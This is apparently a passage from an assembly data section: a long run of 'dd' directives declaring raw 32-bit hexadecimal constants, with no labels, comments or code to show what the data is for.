dd 0C6D46FA9h, 161B02FBh, 0B5575B41h, 801C9150h, 1779C69Dh dd 7E3A0F8Ah, 8160C55Ch, 14B0E1EFh, 4ABD7F48h, 0E70561C9h dd 0AD4B86B9h, 18EE829h, 30DA8AB7h, 61F5B06Eh, 26612BE7h dd 956F8D29h, 6B2EE807h, 64F66D0Dh, 9F83601Bh, 42FA0280h dd 9607218Bh, 560A7DCh, 898A3h, 6F503C4Fh, 0B355D019h dd 57445217h, 0D754D0BFh, 0AE0180D3h, 59487ADFh, 23505061h dd 0E201B10h, 385111C3h, 3FAE80FDh, 96FC30B8h, 0C4494D9Fh dd 0B6C8FF74h, 371B1355h, 6312AFC0h, 0A22BAEA1h, 0BD21A820h dd 0DC59B289h, 7F2212ADh, 0A0F00280h, 4809AB90h, 710DFF23h dd 2E7846C8h, 0DC76D4BDh, 2E645600h, 25B92CC4h, 0A8FB260Fh dd 1DA108E8h, 52167124h, 10038EF2h, 91B0C1DCh, 0A1D80AD8h dd 0AE47FAB6h, 7A353557h, 5BC882BEh, 813651F5h, 78947DFAh dd 9C67E454h, 0DB00E773h, 0C32F6977h, 5973316h, 458FE3BBh dd 0AC20AA59h, 27ED0EE0h, 0D9619674h, 12C04A19h, 0EEE35F53h dd 0F0D2862h, 0B00AED0Ah, 224B1852h, 77D55CB1h, 9D23024Ch dd 0DF5545D1h, 0E55D8662h, 5552560h, 2968A379h, 4B7C2D7Eh dd 4FB0AD8h, 312FDBACh, 799540D8h, 2390EB62h, 2500E51Dh dd 982FF8A3h, 167830F4h, 0AA0504C0h, 0E95F2C30h, 0F40997AFh dd 0CD71E8D3h, 24076330h, 8A0BBE3h, 6013345Dh, 813634EFh dd 20908E81h, 5EBF6138h, 0F302DE10h, 99DFE30Bh, 5E6D7812h dd 0B114BC34h, 0AA041D75h, 86ECE3C0h, 0B1600550h, 8C8D0F41h dd 0D809B864h, 85906195h, 0B6EF6A99h, 3912E007h, 7DFB0962h dd 4A03712Bh, 4C4FA39Dh, 0D305336Eh, 0C1EF0D78h, 8244B73Fh dd 18FED5E0h, 809DB706h, 0C2E751A6h, 909540C4h, 926422h dd 0AC85F146h, 0EBC85ADBh, 50D74904h, 2CBC4430h, 0FEA6E4Bh dd 0C0F61393h, 751DA8D3h, 0A2BF1307h, 3200FA2Eh, 0CE92F8BBh dd 2EDEB738h, 0E76D00F4h, 0EFB854AEh, 1E2CABEEh, 50B6F78h dd 92969216h, 775BFDC9h, 94CE757Ah, 0D7132F90h, 6A78D62h dd 37CF6BA0h, 927C402h, 5E7780D2h, 0B526F6Ah, 96D72E4Ah dd 0D44FB6DFh, 9B8B6C01h, 44D69403h, 146A086Fh, 376DFF1Dh dd 9DD5097Ch, 1B654682h, 44D69C57h, 5602BF95h, 6A416ECEh dd 874D402h, 57010869h, 2436F781h, 0FB605DD5h, 9E82290h dd 0AEA3B304h, 94FF4738h, 0D917AABBh, 0B9FE30AFh, 2132A90h dd 7E30B2F4h, 5E8D76h dd 0E771BA81h, 3EC211A2h, 0C2E0BC25h, 0DC6ED671h, 0A5978B5Ch dd 0E86ABFh, 0DCACB6Eh, 1C05E4B9h, 90BD29F0h, 25E93D1Dh dd 928FE50Ch, 36FD55DFh, 9D00B3BCh, 1899055Fh, 1C511DFCh dd 0E5C9BD09h, 0D301D03Dh, 475F0F49h, 0AF73352Fh, 5565B020h dd 4D8E076h, 9AE53097h, 0EBC5C150h, 3EF921D3h, 0ADF0EBB6h dd 0C02D5149h, 42BD7927h, 551602F1h, 162A0D09h, 906BAF29h dd 0AEC0AB59h, 0ABD350D0h, 5E900D0Eh, 0DDC8522Eh, 4D0A04A9h dd 0AFFAF592h, 330B757Ah, 6B81B98Dh, 7B14220Dh, 0E4F0DEB6h dd 0B2025D74h, 0F42F84F8h, 0C04FC0C9h, 15B09780h, 0F800142h dd 0B0DE25B7h, 0E601BC70h, 87EB8070h, 0F06071E4h, 90B40D1h dd 347D8D16h, 20CD8ABCh, 12266845h, 0F88C8B6h, 788E0217h dd 0F102E9BEh, 4AABE65Fh, 915BD80h, 5D5B95B7h, 0B9520B98h dd 0D520BB05h, 1DD55F5Ah, 5A18B81h, 0D7DFBC05h, 890A4AAFh dd 0F7804191h, 2F002F99h, 6777E781h, 0D5395C8Eh, 5A107D10h dd 0FBE5B7E1h, 62B7D1ECh, 192D1EE8h, 3DB6E903h, 79982B4Dh dd 118A771Bh, 0D78BB28Bh, 2404CA45h, 0BB1E2Bh, 50858B1Ah dd 474F554Ch, 47A585E1h, 3C6052C1h, 0C9FED6EAh, 9FA33B8Dh dd 61FC8A0Dh, 1BF1C232h, 4AF1C500h, 0C8C385Dh, 0D8E3F668h dd 1C5A3D62h, 0E22E6F3h, 15D9DAC4h, 0FEB24948h, 6B755EDEh dd 11971178h, 0B9143468h, 0D1578967h, 0BD2B8621h, 6FB07999h dd 3F7A9551h, 8D1DD9E7h, 8101E059h, 43413EE6h, 602F6109h dd 187C8279h, 8A8B379Dh, 1785CE7Fh, 0FE4CD485h, 9B09B86Fh dd 0B05D01C0h, 41859D4Ah, 0B5CE9813h, 4EDDB965h, 0E894980Fh dd 0F7C89601h, 97DF81FDh, 0DB9C162Fh, 0BF2780A9h, 6E3D9775h dd 9107964h, 71F88BFCh, 89D82D6Eh, 8D6B0E41h, 112DECAEh dd 607BDCBDh, 0B63E7CA4h, 733DC20Bh, 413FDDDDh, 656B30ADh dd 0E83F02DEh, 0F0863A02h, 0DF702553h, 0C0A262E8h, 4D771495h dd 6729C8FBh, 0F422E9A0h, 4DD705CDh, 0EDCCEBD8h, 5A2A1809h dd 7D0E8B21h, 0A98DF038h, 0D3702FFBh, 4BC18529h, 0C0B4CB12h dd 3F5ABABBh, 8F949756h, 3D975370h, 80B21FFBh, 0BA7AA1F2h dd 98813E8h, 2AD200FBh, 0ABFEE5CCh, 0F300AD4Eh, 0DD566C03h dd 586A46BDh, 0CA09275Fh, 41185B02h, 0D3B51AB3h, 0D98504C8h dd 68B82421h, 0B3409FA3h, 2C409996h, 5CC809BFh, 73790C48h dd 1802A245h, 571AA995h, 59449F1Ch, 20604A57h, 3F78452Ch dd 3F7023Eh, 5A402530h, 5F619050h, 7CBF0560h, 0EB186FA4h dd 0E321D0C8h, 256A6B1Dh, 2FBEC600h, 3DE8408Eh, 0C5254BB8h dd 4518E61Ah, 31A52128h, 18762ECDh, 95757FECh, 356B84D1h dd 2FD18530h, 5908EA7Bh, 0E6D6270Eh, 0E11870D6h, 0D1093B08h dd 7CF46EECh, 263D4032h, 0F0E13C1Fh, 56098840h, 0DD0FEAC1h dd 0BD0B6818h, 5625CD5Eh, 0F78CD8BFh, 7935C500h, 6B5E6809h dd 0AD1B48B6h, 0E05CDA25h, 0A91EA11Fh, 2DE7EA4h, 2A0D75DEh dd 0AA54C47Dh, 41186FA5h, 30143679h, 1B0066B0h, 533F512Eh dd 9D5B5F57h, 1A5919D3h, 6302A318h, 3154EDC1h, 73C5E11h dd 35F90FE9h, 0BDBEC886h, 96EA55Dh, 7B0BD380h, 0AD88151Eh dd 1B452581h, 25982B55h, 1DD21BDh, 1082DC49h, 2511581Dh dd 0FDFDCAFAh, 2940A8EFh, 43E019Ch, 949F77E1h, 89F905D2h dd 0DB8DB5EAh, 385FBB97h, 128CBF19h, 0E101F3CAh, 0B19B7AC8h dd 9D9A5680h, 0C50EB3E0h, 0C53CBF96h, 38F82B81h, 0A758F83Dh dd 0F7224D18h, 0B97F9B7h, 1EBD57C3h, 275759A7h, 0FFA7B63h dd 618D6802h, 6D243BB9h, 35D13B72h, 8F6ECFh, 57E11EF2h dd 260E45EAh, 91C55FC8h, 1FBF1F71h, 8D5549C7h, 2CBFD5BBh dd 0DD50320Ah, 0BD38784Bh, 0A8A23352h, 40D8CFDDh, 857797A5h dd 5EFD923Ch, 0BF6220BFh, 8000A4E4h, 66605B7Fh, 17CE54BBh dd 0B5AD9D89h, 0E00BC5D0h, 0CB60471h, 5E2F198Bh, 0E7817830h dd 95780109h, 44735911h, 0B18F8C33h, 4BE92340h, 0B083E743h dd 5B965822h, 0C29FAC78h, 5C32F380h, 0BA4A7776h, 0DC5709D6h dd 0C3EDAB1Eh, 578AD6C2h, 0EF605F16h, 13B1BF49h, 0E22752E2h dd 0AB03DDC5h, 1828AA7Ah, 9551B5D4h, 8D7B5840h, 1AFB0011h dd 0EB87F351h, 8C02C48Eh, 0C304D654h, 824FF995h, 0E299D23h dd 914C3757h, 6C2D8515h, 162FA0F8h, 57E15Ch, 20C59AAEh dd 7090C04Dh, 99B06F4Fh, 42545C62h, 0E7036912h, 2D962CB2h dd 0EE4C0811h, 50270222h, 0BB62605Fh, 0BD8E5E9Ah, 87C1C4DCh dd 0F6FE75ABh, 0BCC7A0E7h, 3DCA0EDBh, 0DF25450Bh, 0FE8525CBh dd 0AB865A9Eh, 0E45D877h, 0C52A6A78h, 9D092D80h, 614BF252h dd 62D0B89Ah, 3CE51AC0h, 71041286h, 112B5DCFh, 0D700D5B2h dd 53219F2Ah, 0BA4A4B15h, 0CD3E1DE7h, 9F652B4Bh, 0F823B385h dd 0D5DB7782h, 0FB4BCFE4h, 6EAB9F85h, 57D70071h, 916F9890h dd 0DA5CC017h, 0C67DA5BFh, 95BD6E4Ah, 98C18ACh, 0DE1F3816h dd 0B82A8455h, 0A2B7BEBh, 0AB29BDBEh, 0A51FB50Ah, 86355749h dd 0A5801C91h, 43F45940h, 4E3F5405h, 2AE3F8F9h, 1398A2Eh dd 245357BBh, 69173E3Fh, 0C64374BEh, 96580CB3h, 0E791646h dd 0F9672CBBh, 26BC314Ah, 0A95FBDB4h, 0F510C23Bh, 42514E5Ch dd 0B009B73Bh, 46623A1h, 6405607Ch, 154904D7h, 50F00917h dd 3271179h, 0A2E77850h, 4B0C5D8Fh, 24BC9E8h, 1AC8D89Bh dd 0F5217BC2h, 0C6B73BE4h, 2C6E9564h, 4060CD97h, 3C799DBDh dd 0C5035A18h, 852489B8h, 0F551422Dh, 0C9259A4Eh, 0E94B5E12h dd 1C6F827Fh, 0EB34D790h, 1CDCB1B6h, 364E0ACh, 0D9BD0986h dd 0C268B9FCh, 0D3C60AB7h, 2EB20F74h, 8496AC60h, 7995953Dh dd 787EE944h, 0C3648D4h, 0E900E17Eh, 0FF71F453h, 7B7B7h dd 0AB923343h, 0B5721242h, 5E4EDE25h, 0C900F464h, 0E4D2E5F8h dd 45AFA4h, 0F38161B1h, 1DDE7809h, 0BF4B1897h, 11010B53h dd 49F99004h, 0D88A6087h, 5061D781h, 0E2B32Bh, 4CE38190h dd 156BBFB4h, 83FD9D33h, 0A6D36A2Fh, 7A23907Bh, 2F660ED4h dd 0B7F27BC6h, 1B23A162h, 9903D20h, 0D2A22EDAh, 31B16C02h dd 0DE8FC0Dh, 7813B819h, 0E62E5AB5h, 3016A2D0h, 0B750F086h dd 24484A0h, 81BD4AB3h, 0F9E52D2Eh, 2CDDE103h, 8D89843Ah dd 2EC95EEFh, 0DE48F4FEh, 0E551743h, 1B2FBCB2h, 0D35A575Eh dd 3AD051ECh, 19B2EEF6h, 2DC3230h, 25694DEBh, 41EDD1FFh dd 3A5480E0h, 0FB190298h, 35D1C242h, 6F23C43h, 6F71F356h dd 20C78011h, 37B50226h, 0B81A0138h, 6A7BD445h, 7025B882h dd 0E0FE5028h, 9024406Dh, 0E60EBFF6h, 0F303ECB2h, 76E197E6h dd 192BD4C9h, 6682A402h, 0CC6080BFh, 815300C4h, 0B3C9EC7h dd 0E9255F13h, 71AA5C35h, 427125ACh, 93A9110Fh, 9E5E00Bh dd 0EFFFB500h, 95C06BCFh, 10079AB1h, 1FED821h, 6B708C20h dd 38D98B50h, 0A7204FA7h, 4B6A8Ah, 0A8904721h, 4201F8F5h dd 12498048h, 29AE1D3Dh, 4A5A384Ah, 0D4418A99h, 0E22A1991h dd 259AD628h, 7C8EF381h, 2BD33001h, 0CAA7B59Ch, 91E00431h dd 0BA4A61ADh, 0EB0F186Eh, 0B1A0830Ch, 0E59D89D2h, 0D780B3C2h dd 0D5A2C1ABh, 734F5FC2h, 0EDCAD54Bh, 306F90DFh, 0DAE20769h dd 0C0B68718h, 0A5E073CAh, 54C7CAB7h, 5328C4A0h, 0E04200AFh dd 0C18AE8A4h, 9BC615Eh, 12D99D08h, 3D29BB00h, 4BE61C7Ch dd 4D9A8870h, 0C7902C1Ch, 42481440h, 0B671E4C1h, 9D036086h dd 999510D5h, 80C2ECBAh dd 3845B93Ch, 35D99789h, 0C8B62430h, 3710BF57h, 104F36Bh dd 0BA5F8BABh, 850E31FEh, 89C00425h, 0F48FC381h, 0C46E4AE6h dd 5AA4A8ADh, 4A8B348Ch, 0F8A0D0FBh, 4D0FDB81h, 0A773611Bh dd 0C09760D1h, 11FDAA01h, 0E680C078h, 1AF641BDh, 0C9170E01h dd 55852914h, 2E5E1064h, 45BEE961h, 49FBA08Ah, 444C4E70h dd 0CAE139EFh, 6B8A0C9h, 0E9F9BB02h, 7A56235Eh, 0A5BD22EFh dd 32552405h, 0B52930DFh, 0F7B9F15Eh, 38DD3DC9h, 21E0C6Dh dd 0E8E4661Bh, 42765D31h, 25B8704Bh, 946C6379h, 5F0F84Fh dd 0B4088220h, 0BE600067h, 64404885h, 296118C9h, 858653E1h dd 0BB188C5Fh, 0AD01CE6Fh, 8BF27C38h, 0BD2900F9h, 92399609h dd 5A6EB3FDh, 0C0014CE2h, 0D424BC62h, 16BBF478h, 0FC81FB07h dd 0AFAAB95Bh, 78B7532Fh, 10240BDh, 0D471C9FAh, 2D8A56F7h dd 0FC70EAD3h, 9F6E12F9h, 80C4E3C5h, 0A7DA7B2Fh, 0FCD3247Ch dd 0C81088Dh, 37C02B0Bh, 13B8556h, 0A0D1BF23h, 51A42C49h dd 1DB50E4Dh, 75834EB0h, 0BB00EC31h, 3B56A64Ch, 0B2CF614Ah dd 3012454Ch, 614504DEh, 9675AD25h, 0D3A37104h, 14B2F0E6h dd 5EB7E230h, 2ABCF14Eh, 0BD614837h, 930E2B05h, 0B5E71DB6h dd 11FAF27h, 36099760h, 5C446951h, 21E22C5Bh, 118E37D7h dd 60AD8E1Ah, 0B316436Eh, 35D7A165h, 0DF59496Fh, 46D6045Ch dd 3BF90115h, 0D7B7E1FFh, 1F72282Bh, 2D690450h, 0CB3305Ah dd 227278Dh, 6A56FFD0h, 0B216E151h, 8C2FFA90h, 0C4E36DD9h dd 468ACC9h, 8FDBD89h, 4CC446ACh, 1E9EBB01h, 0C4FDA080h dd 0AC654235h, 0CCC99EEh, 6A578925h, 25D55088h, 0E6D96D16h dd 254EF0EBh, 9F5B5F5Bh, 1C0E0911h, 0D44F8863h, 0A3993EC2h dd 0B7628F56h, 0B74075BFh, 0A8BAF3DDh, 9E0DD0B7h, 13B7A7D6h dd 1930BB80h, 2706E668h, 9071D1C7h, 0F1CEA600h, 380859Dh dd 0A706D960h, 22C8FC98h, 0DB30BD90h, 0FD198881h, 0DB2E4F57h dd 604F8EECh, 0D593F24Eh, 0DE3A1C5h, 606555C6h, 40F06DA7h dd 72EF93Ch, 8D290E12h, 0BD1722ABh, 54DC4A55h, 4CEFA767h dd 12615540h, 0B73B12D2h, 718488B1h, 603A5F61h, 0F1F0988Dh dd 0EA59701h, 6EB4EED1h, 0BDCFBF90h, 2B6FF261h, 5077863h dd 21FF808Ah, 2044681Ah, 91B5B38Ch, 0C8E4A595h, 3EE217E5h dd 0D814A15Ch, 22DB776h, 0B7C652BFh, 1880D63Dh, 0CACCC160h dd 0B2BA0B78h, 538BC05Fh, 0A58935D7h, 3F1678ECh, 7F122596h dd 0DAA9F012h, 50C5B3D2h, 19DD0923h, 121566A7h, 0FA071597h dd 0DD1F9D49h, 1791F135h, 19828B81h, 81E82AADh, 4E35A996h dd 8FD190F1h, 0B26AAA49h, 9FE30074h, 0FFFA6720h, 0ACE4095Ah dd 8980BF28h, 0B70DEA6Fh, 0DA5BB527h, 0E3539519h, 38946F78h dd 0E6A56122h, 1B64F96Dh, 0E5D8CE60h, 1278F21Ah, 15B402FAh dd 8DB52232h, 0E9684768h, 0DE385E0Ch, 0B5DAC056h, 0A51679C8h dd 3A21E632h, 52E3A9D1h, 0EDD695DCh, 523A94DEh, 0E8449540h dd 2ABB5002h, 0D72873CCh, 91268364h, 0CD723129h, 0CE606FA3h dd 0BFBCE59Ah, 1012C4E4h, 5205612Fh, 0DBEB24A5h, 0B7F6564Fh dd 0DDF29CD2h, 0AA149185h, 9F354538h, 2C7D9410h, 85C34589h dd 0D2619BFAh, 0E2502EF3h, 0B7E31270h, 0A83FC41Eh, 6A97EEF2h dd 31E701CCh, 9495C22h, 7A2AF17Bh, 74A097B7h, 800E629Ch dd 0F2549A67h, 2384FEB2h, 8F28AB04h, 37E40AEBh, 59F736BFh dd 27B3730Ah, 2E2EE1F8h, 0BFC0C879h, 9337DE1h, 59A1739Dh dd 0B06B1916h, 509531B9h, 0D5389586h, 354ACB80h, 16ACBBADh dd 6E72178Ch, 1690BB62h, 8B8D25h, 0E7FD953Ah, 2DC435FEh dd 20ECCF4Ah, 5621EA02h, 0C2846158h, 4852EBBDh, 0B3797FF5h dd 9299658h, 70B7428Fh, 3188827Fh, 3C3D750Bh, 1ACC7102h dd 0B2CBE39Ch, 318E9406h, 0AD1C5F56h, 0A69D6A2Fh, 5287817Fh dd 24B82A1Dh, 69308FCBh, 0B9952599h, 122BFC8Eh, 81AADB6Dh dd 6FD0733Ah, 9B89172Bh, 80F48F46h, 4FDCB670h, 98A113E0h dd 2073B8E6h, 0EE607403h, 0F64B9D79h, 0EA5285ECh, 6A4A57CEh dd 9FD41656h, 0E2E6EF30h, 12069081h, 0B3B440EAh, 0BD0905A2h dd 0A9E30649h, 0B9224E72h, 8C1DBC10h, 56AD4300h, 830FBD5Ch dd 88652759h, 5D4A4258h, 0AE9352B2h, 3AB9D434h, 60458CC8h dd 0A085A6F0h, 62FD8A09h, 18C55696h, 72737355h, 0ED044DFBh dd 0FAA5800Fh, 0FB80D268h, 0C5488D10h, 25C1FBBDh, 0B5BDC54Eh dd 1F3A0045h, 921951E0h, 23842916h, 481D5609h, 0B52B8DCEh dd 821AEB47h, 0A5CD5F46h, 86D6B6E0h, 0C1AD0184h, 0F1B50997h dd 0C4FD2B30h, 1E9FA180h, 66B50584h, 0E6020016h, 0AD7FDA63h dd 0D500D31Ah, 0A2E58885h, 48F58D17h, 3448114Bh, 0B8BC354Dh dd 2B78110Bh, 0C4AB2862h, 0A2EEB460h, 8ED50012h, 1676430Eh dd 73955C88h, 0C4385A17h, 4003C18Ch, 0A14BEAE5h, 0AA784B11h dd 655E2E6Ah, 3FDFE0E2h, 5BD8A926h, 57318D0Bh, 0CCADD3B7h dd 4AB60762h, 54BB667Ch, 0D324B8B8h, 0ECFF20ABh, 770E7A9Ch dd 1CC7C3EEh, 5B2631C7h, 0D1F9E990h, 69C91202h, 8838E2D9h dd 95898234h, 0B7550D4Dh, 801A9180h, 831F93DCh, 7B6425A9h dd 0E78038C0h, 2E8F744Bh, 37B01E56h, 34260EB9h, 1D08AFD4h dd 0A8E90925h, 102D8956h, 0FCDF08FBh, 0C2E0C0h, 0B78FFA97h dd 8B5D91D5h, 0B79BC14Ah, 972DBC80h, 0DBFC612Fh, 14E39200h dd 0D6DC64BBh, 0EF73B568h, 30491959h, 265AB36Ah, 6860F650h dd 0BE02D27h, 0D61BEE5Fh, 0ED25F959h, 0EF9C0BDh, 0A65FCF74h dd 0E52EEC5h, 0C4B7DBAAh, 0D5C465B5h, 2FC53BBh, 917BE7F2h dd 0C6578A87h, 51B01619h, 0DB278995h, 65557274h, 0B5F82573h dd 90ABEF00h, 60503EB7h, 29815E0Fh, 0EAAC7F2Ch, 29906182h dd 6C9D9ED8h, 1EDB06ECh, 0A26B2868h, 0F2278BBEh, 405AAF07h dd 0DBE55331h, 3D847D4Bh, 0E804EDAAh, 4DCE1D8Ah, 0FB68D30Eh dd 569F6D1Ah, 1D46D648h, 639BAB00h, 0DF8DB139h, 0C2380316h dd 82EBD764h, 20FEBD49h, 25385627h, 9B7053DBh, 799504DEh dd 0B8FA5E84h, 4AD3A351h, 0BCBCAD2Ch, 890953Fh, 3100281Eh dd 11A7459Dh, 1EAB36Dh, 2332CC29h, 6B52C4A9h, 6A5F8102h dd 0E02DCD02h, 8AF26F63h, 9866B709h, 0CC107F75h, 8C3FE0C4h dd 0DD5592B0h, 505B7F44h, 9C9378Ch, 7FB769EFh, 0B74DE929h dd 0B73C80CFh, 249F6178h, 607A71DEh, 76A1E0Dh, 267B0A2Ch dd 0A9CC920Bh, 6004CFCEh, 43CBEDCEh, 0D5B3DD04h, 38ABD2E9h dd 0FC906182h, 6BD0AE9Bh, 0DC540BE2h, 0F676DD65h, 9014BB01h dd 362E5D2Dh, 0F93A1CC7h, 0C48B2D50h, 51C70A35h, 0A5AC3E95h dd 0D720BAD5h, 8D00A635h, 0D1600813h, 26F725CBh, 0F454D991h dd 7D0049A1h, 848AA61h, 90DBEE1Fh, 52520D0h, 60AE5B4Ah dd 2CCB81FDh, 12C2BE58h, 0EDE734D1h, 31AF205Ah, 9701EF77h dd 0FCB5D9C1h, 0B730FF6Ah, 462A4AB9h, 43037924h, 2C95B517h dd 8EA088A7h, 61008912h, 3586397Eh, 0F88074DCh, 9F319788h dd 0C008C2D7h, 0D5B0DB0Ch, 16CDE6F7h, 0ACF570E6h, 95EF104Bh dd 54A5BD88h, 0E99D858Fh, 9D8EB30h, 1AF364B3h, 0C193A471h dd 0D9D10797h, 0BA512FE7h, 0B52AFCB8h, 0F846FA9Bh, 33712E00h dd 0FC4DFF8h, 0ED7950A0h, 0D3F60918h, 205007B1h, 97611640h dd 21BD3B5Ch, 0D1053C03h, 0C8CD8531h, 4C9C622Eh, 25266D42h dd 0FF07AA85h, 0FD622950h, 50715C09h, 56212C78h, 0A09114Fh dd 637E9F9h, 71DA8A09h dd 6664A56Ch, 13312544h, 0AB1FB5BDh, 2FF9BE28h, 0D1AA9D0Bh dd 0B24B2026h, 0BC0C5A90h, 9B33A008h, 0DEA29618h, 0D98A3C12h dd 0BA5F94FCh, 8612916Fh, 4A63E3F8h, 0A85E38A3h, 131920B1h dd 811DB529h, 555FB965h, 0B879BDF5h, 55ECA06Dh, 886CB52Ah dd 0D4809Ch, 1DFA3D73h, 59B501FCh, 0C02B53C3h, 0E6FD84BAh dd 97C61ECh, 29D75702h, 0D515FD9Dh, 0B5959EBEh, 0BFC90027h dd 72CC2137h, 0C27843BBh, 1F9E3ECAh, 0B25609A7h, 0D8F3D864h dd 5AD9B750h, 0D776B22Eh, 62A88BADh, 0A4109C01h, 0D28DA20Bh dd 0F651FEh, 54348E9Bh, 650084FEh, 0C5E47935h, 1266310Ah dd 0E2861CBFh, 0B2BAB48Fh, 7E7C9034h, 0C2DEB84Ch, 0F5BBA5BFh dd 810B54CCh, 0D72C58DBh, 0B8DF5604h, 1BA8A227h, 0EC56B9F7h dd 0DC0BECEh, 27579442h, 34149722h, 5C04A325h, 67F6F433h dd 66B2409Dh, 8A394B84h, 603D3454h, 0CB58DBAFh, 40E5D86Fh dd 37B56019h, 0BB9F0051h, 4BCA51F3h, 0FC85C101h, 84DB531h dd 2D9EAC04h, 11E152F8h, 842C85BDh, 7AEB01C7h, 0E046020Ah dd 0C2F88A60h, 3457503h, 28D54258h, 39E21BFEh, 2009BB40h dd 35557A0Eh, 9795A322h, 0AB99FED9h, 3D33C82Bh, 0E8D59C0Fh dd 0F46E178h, 256F4012h, 3320BB4Dh, 233FDFh, 0B9E30D24h dd 0EA078AE2h, 1BD6D513h, 8B0416B8h, 0EF585AFEh, 0E082B6D8h dd 9E693E74h, 9158737h, 2361B5FCh, 1675C1BDh, 789FE0A3h dd 0FC752CD9h, 624BFD16h, 0E00D6F09h, 0DF068B1h, 5376C79Ch dd 0FE366BD4h, 5C1044ADh, 0A522B00Fh, 0DED42B6Ch, 0B7A1008Ch dd 20E5D647h, 41AAB7D7h, 0D89F0F00h, 0D4A63E76h, 3210BAE0h dd 0C01C3F2Dh, 9590CBF7h, 1564516Dh, 70909A61h, 60880A1Fh dd 40AD982Bh, 0EE058A04h, 258D2961h, 0FEEDD5FBh, 5E008A7Fh dd 90FF107Dh, 0B849E9B0h, 6DF5F9AAh, 0E7FE122Eh, 6E40B03Dh dd 0F37C80h, 18BB8F8Eh, 16DB652h, 9998516h, 0B1D2A1ADh dd 5A257825h, 522BE4B5h, 0F07FB6CAh, 4BC21D1Fh, 30C58D52h dd 74081D3h, 1583BF89h, 0EBF51CD5h, 0D0B7B48Ah, 4AFE220Bh dd 0EAB03412h, 0A829B6E1h, 0F5004EB8h, 22D4C6CEh, 0B673B750h dd 665600E2h, 5FEDDFBBh, 9C8DFC4Bh, 21F1823Fh, 0A54C6800h dd 20245EF1h, 0B956701Fh, 0C7691F18h, 91166A44h, 0A6B307A4h dd 195449EEh, 8D0D17DCh, 9A7EFB85h, 22FF6428h, 9D710839h dd 0C4500DCBh, 0FD58039h, 0CD940070h, 7DDA899Dh, 639AECB4h dd 150BBBA2h, 0E694CF6h, 901A4B45h, 971B6D73h, 1591B237h dd 50097280h, 5B27DC8Ah, 70595B61h, 3407E978h, 0ACC55E69h dd 4B53F8E9h, 9CF8BBAh, 62FDB509h, 0C06DF575h, 93C15713h dd 84C346E9h, 0D2319BEAh, 21E132BAh, 40C342DDh, 0B5153557h dd 95741867h, 0BD2AC4FAh, 0CAC99D15h, 457371FBh, 0DB9056F5h dd 0AAB38407h, 7087E1ABh, 3C52EF30h, 59C2CCD3h, 19C77D81h dd 9E4AE0CFh, 0A5477C79h, 29C155ECh, 2A321595h, 12016BDCh dd 0B71B1DB5h, 48B312EBh, 0C94E78E3h, 2E8A7FE8h, 57C38101h dd 2028EE45h, 379AF968h, 2DDD8295h, 891C1432h, 5525318Dh dd 1516E8B7h, 0B8146161h, 41E49940h, 0F96B257Bh, 46D62054h dd 67491815h, 9C0C59BEh, 652D9DB7h, 46BD71CEh, 903B01Ah dd 19022FA0h, 75257871h, 3C09DF37h, 25B166BEh, 98648E0Fh dd 62A532B4h, 1859FC93h, 2050AB29h, 1356F54Ch, 71AA0291h dd 2B880FECh, 2E00938Ah, 0D54EA313h, 0D8008652h, 9F5D9B2Dh dd 1248B13Ah, 0E2E47179h, 2CB95B3Bh, 0F30101BCh, 17A159B7h dd 177A2D82h, 6AF8A8CCh, 27DE0052h, 0F65C0569h, 241446D6h dd 4D02AA98h, 0D94C46D0h, 6096809Dh, 58C88B53h, 0EE0FB098h dd 7F506178h, 0A7FF5125h, 0CB3999E4h, 84120016h, 941A6F9h dd 0D2DB0F64h, 5AC1F04Ah, 2E8F0F61h, 96958837h, 0D96D64FFh dd 2EDA7FC9h, 0C9C018C8h, 4B201DC5h, 4F3F8A75h, 9B4B07A9h dd 8B0496B6h, 0CDFF0CCDh, 83827A11h, 0B650042Eh, 0E5E30B44h dd 351CF56Bh, 0FC0E49Fh, 0A437AFE6h, 2D6A7C60h, 0D84BADA5h dd 0D6BB5400h, 95346404h, 0B7AD455Ch, 9462016Fh, 912DF337h dd 0E85EC9B2h, 7E13AB69h, 8079EC28h, 2C4FF843h, 0D47C001Ah dd 41789750h, 1A98F0EBh, 0EE3AE70Bh, 0E3A8801Fh, 4B9BF455h dd 6C598D70h, 90D31421h, 0C4318E4Eh, 74AB0FA9h, 0E0BAE63Fh dd 3EC110FFh, 0EC89399Ch, 85F0533h, 0DC60DD29h, 3B0ACF28h dd 780019B3h, 5FA7D3CCh, 909AD6AFh, 38AA054Eh, 45C13668h dd 0E698529h, 943752Eh, 0F0C1A977h, 3AA72BC6h, 205CFCA1h dd 94B43D2h, 9A5A458Fh, 0F54B80B8h, 5E1A3CB9h, 8253B88Bh dd 0F5F42DE9h, 3F4049CFh, 25BC5CC7h, 0B0DEC18Bh, 0ABC701DCh dd 15EEF1A1h, 0F5FFE8B8h, 0E408BF04h, 0A9BA2A25h, 3C39A9A1h dd 0C7B34787h, 0F2BE3061h, 0F54F9FA3h, 0B728D6FCh, 0B73175ECh dd 9ADD00ABh, 76C65F8Fh, 28BEA900h, 216343D1h, 0CE3801AFh dd 71739193h, 0C9A1D4DEh, 5F6293B4h, 1DB7776Ah, 0CDCB5786h dd 57EB33Ch, 0BF45BD23h, 2C2DC621h, 17900E04h, 197419C9h dd 0B27200DEh, 9E9C7087h, 1B0497B9h, 165DB529h, 0A5C244FBh dd 2CDAA23h, 0FD8A8F10h, 34B73B50h, 80EBDB5Fh, 0BFCA476Bh dd 60281A58h, 7C83462Bh, 0D092A5Ah, 0D5A0FABBh, 25213B6Ch dd 7E41C816h, 8C1B2C00h, 0E31913BFh, 0D1FF2F53h, 6BE013CDh dd 314B2B1Fh, 0F61B07E9h, 0AFC6EC85h, 9819717h, 0A8DF12BEh dd 2271E273h, 4462026Ah, 908FC95Dh, 54007073h, 7899A551h dd 0FE000463h, 2A6C97B4h, 143CD946h, 0C9DA6EBAh, 1DD99021h dd 95003918h, 0E103567Ah, 5A520782h, 0B249A610h, 70853114h dd 2340ADE4h, 105D25E9h, 2192C065h, 0F3A66412h, 996040F0h dd 0F8922D02h, 0DF0D8D29h, 9784104Ah, 0BB52000Ch, 5B15444Eh dd 81E08759h, 6A5FA6D2h, 1BB217B6h, 8D01E1EEh, 1943A707h dd 0ECEAF04Ch, 42B32F90h, 16D88B7Bh, 0A4230F3h, 29CC18B2h dd 154A4FB0h, 1894C7B2h, 0D04474C0h, 9C5B7216h, 78CE5EE8h dd 0D1ED2C41h, 0F3252B2Eh, 35E8B7F9h, 0D7A5EF0Fh, 7FB8E01Ch dd 4F66B351h, 4F94F35Fh, 0DD2A80E1h, 0DFB31A05h, 7CF378C0h dd 4B2C9F7Fh, 